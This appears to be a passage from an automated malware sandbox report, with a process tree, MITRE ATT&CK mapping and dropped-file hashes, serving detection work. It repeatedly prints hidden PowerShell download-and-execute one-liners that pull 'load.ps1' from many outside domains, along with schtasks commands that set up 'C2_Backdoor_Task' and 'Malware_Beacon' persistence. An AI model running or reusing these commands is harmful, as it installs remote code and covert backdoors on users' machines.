                                          • Registers new Windows logon scripts automatically executed at logon.
                                          PID:5976
                                      • C:\Windows\SysWOW64\cmd.exe
                                        "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://small-business-tracker.com/load.ps1')\"" /sc onlogon /f
                                        2⤵
                                        • Executes a command shell one-liner
                                        PID:5344
                                        • C:\Windows\SysWOW64\schtasks.exe
                                          schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://small-business-tracker.com/load.ps1')\"" /sc onlogon /f
                                          3⤵
                                          • Scheduled Task/Job: Scheduled Task
                                          PID:1572
                                      • C:\Windows\SysWOW64\cmd.exe
                                        "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://small-business-tracker.com/load.ps1')\"" /sc minute /mo 5 /f
                                        2⤵
                                        • Executes a command shell one-liner
                                        PID:4792
                                        • C:\Windows\SysWOW64\schtasks.exe
                                          schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://small-business-tracker.com/load.ps1')\"" /sc minute /mo 5 /f
                                          3⤵
                                          • Scheduled Task/Job: Scheduled Task
                                          PID:3448
                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                      powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://register.mybet88.gg/load.ps1')"
                                      1⤵
                                      • Badlisted process makes network request
                                      • Command and Scripting Interpreter: PowerShell
                                      • Suspicious behavior: EnumeratesProcesses
                                      • Suspicious use of AdjustPrivilegeToken
                                      PID:1948
                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                      powershell
                                      1⤵
                                      • Suspicious behavior: EnumeratesProcesses
                                      • Suspicious use of AdjustPrivilegeToken
                                      PID:5580
                                    • C:\Windows\explorer.exe
                                      explorer.exe , powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://register.mybet88.gg/load.ps1')"
                                      1⤵
                                        PID:2540
                                      • C:\Windows\explorer.exe
                                        C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
                                        1⤵
                                        • Modifies Internet Explorer settings
                                        • Modifies registry class
                                        • Suspicious behavior: AddClipboardFormatListener
                                        • Suspicious behavior: GetForegroundWindowSpam
                                        • Suspicious use of SetWindowsHookEx
                                        PID:640
                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                        powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://member.noboncos.co/load.ps1')"
                                        1⤵
                                        • Badlisted process makes network request
                                        • Command and Scripting Interpreter: PowerShell
                                        • Suspicious behavior: EnumeratesProcesses
                                        • Suspicious use of AdjustPrivilegeToken
                                        PID:2848
                                      • C:\Windows\explorer.exe
                                        explorer.exe , powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://member.noboncos.co/load.ps1')"
                                        1⤵
                                          PID:3856
                                        • C:\Windows\explorer.exe
                                          C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
                                          1⤵
                                          • Modifies Internet Explorer settings
                                          • Modifies registry class
                                          • Suspicious behavior: AddClipboardFormatListener
                                          • Suspicious behavior: GetForegroundWindowSpam
                                          • Suspicious use of SetWindowsHookEx
                                          PID:5960
                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                          powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://xx8.loans/load.ps1')"
                                          1⤵
                                          • Badlisted process makes network request
                                          • Command and Scripting Interpreter: PowerShell
                                          • Suspicious behavior: EnumeratesProcesses
                                          • Suspicious use of AdjustPrivilegeToken
                                          PID:1276
                                        • C:\Windows\explorer.exe
                                          explorer.exe , powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://xx8.loans/load.ps1')"
                                          1⤵
                                            PID:4364
                                          • C:\Windows\explorer.exe
                                            C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
                                            1⤵
                                            • Modifies Internet Explorer settings
                                            • Modifies registry class
                                            • Suspicious behavior: AddClipboardFormatListener
                                            • Suspicious behavior: GetForegroundWindowSpam
                                            • Suspicious use of SetWindowsHookEx
                                            PID:5400
                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                            powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://32win23.pro/load.ps1')"
                                            1⤵
                                            • Badlisted process makes network request
                                            • Command and Scripting Interpreter: PowerShell
                                            • Suspicious behavior: EnumeratesProcesses
                                            • Suspicious use of AdjustPrivilegeToken
                                            PID:2740
                                          • C:\Windows\explorer.exe
                                            explorer.exe , powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://32win23.pro/load.ps1')"
                                            1⤵
                                              PID:4828
                                            • C:\Windows\explorer.exe
                                              C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
                                              1⤵
                                              • Modifies Internet Explorer settings
                                              • Modifies registry class
                                              • Suspicious behavior: AddClipboardFormatListener
                                              • Suspicious use of SetWindowsHookEx
                                              PID:2220
                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                              powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://b52club.bio/load.ps1')"
                                              1⤵
                                              • Badlisted process makes network request
                                              • Command and Scripting Interpreter: PowerShell
                                              • Suspicious use of AdjustPrivilegeToken
                                              PID:400
                                            • C:\Windows\explorer.exe
                                              explorer.exe , powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://b52club.bio/load.ps1')"
                                              1⤵
                                                PID:1436
                                              • C:\Windows\explorer.exe
                                                C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
                                                1⤵
                                                • Modifies Internet Explorer settings
                                                • Modifies registry class
                                                • Suspicious behavior: AddClipboardFormatListener
                                                • Suspicious use of SetWindowsHookEx
                                                PID:6012
                                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://bigslot855.vip/load.ps1')"
                                                1⤵
                                                • Badlisted process makes network request
                                                • Command and Scripting Interpreter: PowerShell
                                                • Suspicious use of AdjustPrivilegeToken
                                                PID:5792
                                              • C:\Windows\explorer.exe
                                                explorer.exe , powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://bigslot855.vip/load.ps1')"
                                                1⤵
                                                  PID:4388
                                                • C:\Windows\explorer.exe
                                                  C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
                                                  1⤵
                                                  • Modifies Internet Explorer settings
                                                  • Modifies registry class
                                                  • Suspicious behavior: AddClipboardFormatListener
                                                  • Suspicious use of SetWindowsHookEx
                                                  PID:4464
                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                  powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://jobgrow.phpdevelopment.co.in/load.ps1')"
                                                  1⤵
                                                  • Badlisted process makes network request
                                                  • Command and Scripting Interpreter: PowerShell
                                                  • Suspicious use of AdjustPrivilegeToken
                                                  PID:2816
                                                • C:\Windows\explorer.exe
                                                  explorer.exe , powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://jobgrow.phpdevelopment.co.in/load.ps1')"
                                                  1⤵
                                                    PID:4328
                                                  • C:\Windows\explorer.exe
                                                    C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
                                                    1⤵
                                                    • Modifies Internet Explorer settings
                                                    • Modifies registry class
                                                    • Suspicious behavior: AddClipboardFormatListener
                                                    • Suspicious behavior: GetForegroundWindowSpam
                                                    • Suspicious use of SetWindowsHookEx
                                                    PID:3724
                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                    powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://doithuong68gb.app/load.ps1')"
                                                    1⤵
                                                    • Badlisted process makes network request
                                                    • Command and Scripting Interpreter: PowerShell
                                                    • Suspicious use of AdjustPrivilegeToken
                                                    PID:4820
                                                  • C:\Windows\explorer.exe
                                                    explorer.exe , powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://doithuong68gb.app/load.ps1')"
                                                    1⤵
                                                      PID:5472
                                                    • C:\Windows\explorer.exe
                                                      C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
                                                      1⤵
                                                      • Modifies Internet Explorer settings
                                                      • Modifies registry class
                                                      • Suspicious behavior: AddClipboardFormatListener
                                                      • Suspicious use of SetWindowsHookEx
                                                      PID:4132
                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                      powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://m.asianslots.co/load.ps1')"
                                                      1⤵
                                                      • Badlisted process makes network request
                                                      • Command and Scripting Interpreter: PowerShell
                                                      • Suspicious use of AdjustPrivilegeToken
                                                      PID:2288
                                                    • C:\Windows\explorer.exe
                                                      explorer.exe , powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://m.asianslots.co/load.ps1')"
                                                      1⤵
                                                        PID:3188
                                                      • C:\Windows\explorer.exe
                                                        C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
                                                        1⤵
                                                        • Modifies Internet Explorer settings
                                                        • Modifies registry class
                                                        • Suspicious behavior: AddClipboardFormatListener
                                                        • Suspicious use of SetWindowsHookEx
                                                        PID:2504
                                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                        powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://8kbet.ist/load.ps1')"
                                                        1⤵
                                                        • Badlisted process makes network request
                                                        • Command and Scripting Interpreter: PowerShell
                                                        • Suspicious use of AdjustPrivilegeToken
                                                        PID:1040
                                                      • C:\Windows\explorer.exe
                                                        explorer.exe , powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://8kbet.ist/load.ps1')"
                                                        1⤵
                                                          PID:2672
                                                        • C:\Windows\explorer.exe
                                                          C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
                                                          1⤵
                                                          • Modifies Internet Explorer settings
                                                          • Modifies registry class
                                                          • Suspicious behavior: AddClipboardFormatListener
                                                          • Suspicious behavior: GetForegroundWindowSpam
                                                          • Suspicious use of SetWindowsHookEx
                                                          PID:1204
                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                          powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://nmk.yosusai.in/load.ps1')"
                                                          1⤵
                                                          • Badlisted process makes network request
                                                          • Command and Scripting Interpreter: PowerShell
                                                          • Suspicious use of AdjustPrivilegeToken
                                                          PID:464
                                                        • C:\Windows\explorer.exe
                                                          explorer.exe , powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://nmk.yosusai.in/load.ps1')"
                                                          1⤵
                                                            PID:2064
                                                          • C:\Windows\explorer.exe
                                                            C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
                                                            1⤵
                                                            • Modifies Internet Explorer settings
                                                            • Modifies registry class
                                                            • Suspicious behavior: AddClipboardFormatListener
                                                            • Suspicious behavior: GetForegroundWindowSpam
                                                            • Suspicious use of SetWindowsHookEx
                                                            PID:3908
                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                            powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://asianslots.co/load.ps1')"
                                                            1⤵
                                                            • Badlisted process makes network request
                                                            • Command and Scripting Interpreter: PowerShell
                                                            • Suspicious use of AdjustPrivilegeToken
                                                            PID:4812
                                                          • C:\Windows\explorer.exe
                                                            explorer.exe , powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://asianslots.co/load.ps1')"
                                                            1⤵
                                                              PID:1480
                                                            • C:\Windows\explorer.exe
                                                              C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
                                                              1⤵
                                                              • Modifies Internet Explorer settings
                                                              • Modifies registry class
                                                              • Suspicious behavior: AddClipboardFormatListener
                                                              • Suspicious behavior: GetForegroundWindowSpam
                                                              • Suspicious use of SetWindowsHookEx
                                                              PID:2336
                                                            • C:\Windows\explorer.exe
                                                              explorer.exe , powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://kent-casino-scm.buzz/load.ps1')"
                                                              1⤵
                                                                PID:1288
                                                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://kent-casino-scm.buzz/load.ps1')"
                                                                1⤵
                                                                • Badlisted process makes network request
                                                                • Command and Scripting Interpreter: PowerShell
                                                                • Suspicious use of AdjustPrivilegeToken
                                                                PID:4052
                                                              • C:\Windows\explorer.exe
                                                                C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
                                                                1⤵
                                                                • Modifies Internet Explorer settings
                                                                • Modifies registry class
                                                                • Suspicious behavior: AddClipboardFormatListener
                                                                • Suspicious use of SetWindowsHookEx
                                                                PID:1232
                                                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://cat.small-business-tracker.com/load.ps1')"
                                                                1⤵
                                                                • Badlisted process makes network request
                                                                • Command and Scripting Interpreter: PowerShell
                                                                • Suspicious use of AdjustPrivilegeToken
                                                                PID:3880
                                                              • C:\Windows\explorer.exe
                                                                explorer.exe , powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://cat.small-business-tracker.com/load.ps1')"
                                                                1⤵
                                                                  PID:3152
                                                                • C:\Windows\explorer.exe
                                                                  C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
                                                                  1⤵
                                                                  • Modifies Internet Explorer settings
                                                                  • Modifies registry class
                                                                  • Suspicious behavior: AddClipboardFormatListener
                                                                  • Suspicious behavior: GetForegroundWindowSpam
                                                                  • Suspicious use of SetWindowsHookEx
                                                                  PID:2820
                                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                  powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://small-business-tracker.com/load.ps1')"
                                                                  1⤵
                                                                  • Badlisted process makes network request
                                                                  • Command and Scripting Interpreter: PowerShell
                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                  PID:4600
                                                                • C:\Windows\explorer.exe
                                                                  explorer.exe , powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://small-business-tracker.com/load.ps1')"
                                                                  1⤵
                                                                    PID:2692
                                                                  • C:\Windows\explorer.exe
                                                                    C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
                                                                    1⤵
                                                                    • Modifies Internet Explorer settings
                                                                    • Modifies registry class
                                                                    • Suspicious behavior: AddClipboardFormatListener
                                                                    • Suspicious behavior: GetForegroundWindowSpam
                                                                    • Suspicious use of SetWindowsHookEx
                                                                    PID:5600

                                                                  Network

                                                                        MITRE ATT&CK Enterprise v16

                                                                        Reconnaissance

                                                                        Resource Development

                                                                        Initial Access

                                                                        Execution

                                                                        Command and Scripting Interpreter

                                                                        2
                                                                        T1059

                                                                        PowerShell

                                                                        1
                                                                        T1059.001

                                                                        Windows Command Shell

                                                                        1
                                                                        T1059.003

                                                                        Scheduled Task/Job

                                                                        1
                                                                        T1053

                                                                        Scheduled Task

                                                                        1
                                                                        T1053.005

                                                                        Persistence

                                                                        Boot or Logon Autostart Execution

                                                                        2
                                                                        T1547

                                                                        Registry Run Keys / Startup Folder

                                                                        1
                                                                        T1547.001

                                                                        Winlogon Helper DLL

                                                                        1
                                                                        T1547.004

                                                                        Boot or Logon Initialization Scripts

                                                                        1
                                                                        T1037

                                                                        Logon Script (Windows)

                                                                        1
                                                                        T1037.001

                                                                        Event Triggered Execution

                                                                        1
                                                                        T1546

                                                                        Image File Execution Options Injection

                                                                        1
                                                                        T1546.012

                                                                        Scheduled Task/Job

                                                                        1
                                                                        T1053

                                                                        Scheduled Task

                                                                        1
                                                                        T1053.005

                                                                        Privilege Escalation

                                                                        Boot or Logon Autostart Execution

                                                                        2
                                                                        T1547

                                                                        Registry Run Keys / Startup Folder

                                                                        1
                                                                        T1547.001

                                                                        Winlogon Helper DLL

                                                                        1
                                                                        T1547.004

                                                                        Boot or Logon Initialization Scripts

                                                                        1
                                                                        T1037

                                                                        Logon Script (Windows)

                                                                        1
                                                                        T1037.001

                                                                        Event Triggered Execution

                                                                        1
                                                                        T1546

                                                                        Image File Execution Options Injection

                                                                        1
                                                                        T1546.012

                                                                        Scheduled Task/Job

                                                                        1
                                                                        T1053

                                                                        Scheduled Task

                                                                        1
                                                                        T1053.005

                                                                        Defense Evasion

                                                                        Modify Registry

                                                                        3
                                                                        T1112

                                                                        Credential Access

                                                                        Discovery

                                                                        Query Registry

                                                                        1
                                                                        T1012

                                                                        System Information Discovery

                                                                        2
                                                                        T1082

                                                                        System Location Discovery

                                                                        1
                                                                        T1614

                                                                        System Language Discovery

                                                                        1
                                                                        T1614.001

                                                                        System Network Configuration Discovery

                                                                        1
                                                                        T1016

                                                                        Lateral Movement

                                                                        Collection

                                                                        Command and Control

                                                                        Exfiltration

                                                                        Impact

                                                                        Replay Monitor

                                                                        Loading Replay Monitor...

                                                                        Downloads

                                                                        powershell.exe.log
                                                                        • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                                                                        • Size 2KB
                                                                        • SHA256 81fc6cfe81caf86f84e1285cb854082ac5e127335b5946da154a73f7aa9c2122
                                                                        • MD5 SHA1 SHA512 TLSH
                                                                        Submit Download

                                                                        ModuleAnalysisCache
                                                                        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
                                                                        • Size 54KB
                                                                        • SHA256 5efb7af398b80b9ea6bba92c5f1e9b534e7c0691a69e8cc61ed9f393afde78e0
                                                                        • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                        Submit Download

                                                                        StartupProfileData-NonInteractive
                                                                        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                        • Size 1KB
                                                                        • SHA256 f38d5348c420da97da4e8a56da5a3aa5a1b47f94ca3c1c6d5861305540d1e1e6
                                                                        • MD5 SHA1 SHA512 TLSH
                                                                        Submit Download

                                                                        StartupProfileData-NonInteractive
                                                                        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                        • Size 1KB
                                                                        • SHA256 c8b92358dc470408681d7924058b8ce8f04695bac9576ba79ffb080dbf64118a
                                                                        • MD5 SHA1 SHA512 TLSH
                                                                        Submit Download

                                                                        StartupProfileData-NonInteractive
                                                                        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                        • Size 1KB
                                                                        • SHA256 90a14c4444f7db25d17f399b9500d6fa5d1b9bc1272c577ae91d0bf18e646c0a
                                                                        • MD5 SHA1 SHA512 TLSH
                                                                        Submit Download

                                                                        StartupProfileData-NonInteractive
                                                                        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                        • Size 1KB
                                                                        • SHA256 b0d448c3c928d399ba11fe7156fd67d47dc8d6daf948468c8d2727262c40ae10
                                                                        • MD5 SHA1 SHA512 TLSH
                                                                        Submit Download

                                                                        StartupProfileData-NonInteractive
                                                                        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                        • Size 1KB
                                                                        • SHA256 aed73cb6a57e0c152687a00154ea430fb637faafc494a45b63c06f9434e2edb9
                                                                        • MD5 SHA1 SHA512 TLSH
                                                                        Submit Download

                                                                        StartupProfileData-NonInteractive
                                                                        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                        • Size 1KB
                                                                        • SHA256 30606ac53f0096d785736cd6cdd3a01aed432e5b21206496dfc82330e0a9dd89
                                                                        • MD5 SHA1 SHA512 TLSH
                                                                        Submit Download

                                                                        StartupProfileData-NonInteractive
                                                                        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                        • Size 1KB
                                                                        • SHA256 e96533887d27898b2cacab3f1d7fdc9078f8449c7c8c4bfdc170139e55a4e824
                                                                        • MD5 SHA1 SHA512 TLSH
                                                                        Submit Download

                                                                        StartupProfileData-NonInteractive
                                                                        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                        • Size 1KB
                                                                        • SHA256 0126846b750f3537a4eab1eede2074619bed958f446c8ec900d3e786e15a52d2
                                                                        • MD5 SHA1 SHA512 TLSH
                                                                        Submit Download

                                                                        StartupProfileData-NonInteractive
                                                                        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                        • Size 1KB
                                                                        • SHA256 8c3a07cc857b771187ab051e42e52ed1301bf0e51f8d3300cdfe3e52453e5be5
                                                                        • MD5 SHA1 SHA512 TLSH
                                                                        Submit Download

                                                                        StartupProfileData-NonInteractive
                                                                        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                        • Size 1KB
                                                                        • SHA256 ee27ab57c77fb9285d07842070385a4af4ccae4f51d675183f89702588676a59
                                                                        • MD5 SHA1 SHA512 TLSH
                                                                        Submit Download

                                                                        StartupProfileData-NonInteractive
                                                                        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                        • Size 1KB
                                                                        • SHA256 677c458daf238ff86f3a782b6e7d1a1a7a6d9dcb32d6df0721ac4ff4011c9b46
                                                                        • MD5 SHA1 SHA512 TLSH
                                                                        Submit Download

                                                                        StartupProfileData-NonInteractive
                                                                        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                        • Size 1KB
                                                                        • SHA256 65383b381415057fa2218a76baf8d61aaa45001957948be65baa6eb0518c3534
                                                                        • MD5 SHA1 SHA512 TLSH
                                                                        Submit Download

                                                                        StartupProfileData-NonInteractive
                                                                        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                        • Size 1KB
                                                                        • SHA256 ce06dbb522caa650a37e9b4e161f2e5e7f3ea9b4ebf015f958a1a421172d4e88
                                                                        • MD5 SHA1 SHA512 TLSH
                                                                        Submit Download

                                                                        __PSScriptPolicyTest_phmbzn3l.1jy.ps1
                                                                        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_phmbzn3l.1jy.ps1
                                                                        • Size 60B
                                                                        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                                                                        • MD5 SHA1 SHA512 TLSH
                                                                        Submit Download

                                                                        memory/1948-9-0x00000205C7660000-0x00000205C7682000-memory.dmp
                                                                        Download

                                                                        memory/5428-0-0x0000000000B00000-0x0000000000B22000-memory.dmp
                                                                        Download

                                                                        memory/5428-1-0x0000000002E40000-0x0000000002E50000-memory.dmp
                                                                        Download

                                                                        memory/5580-18-0x000001E964E30000-0x000001E964EA6000-memory.dmp
                                                                        Download

                                                                        memory/5580-17-0x000001E964DE0000-0x000001E964E24000-memory.dmp
                                                                        Download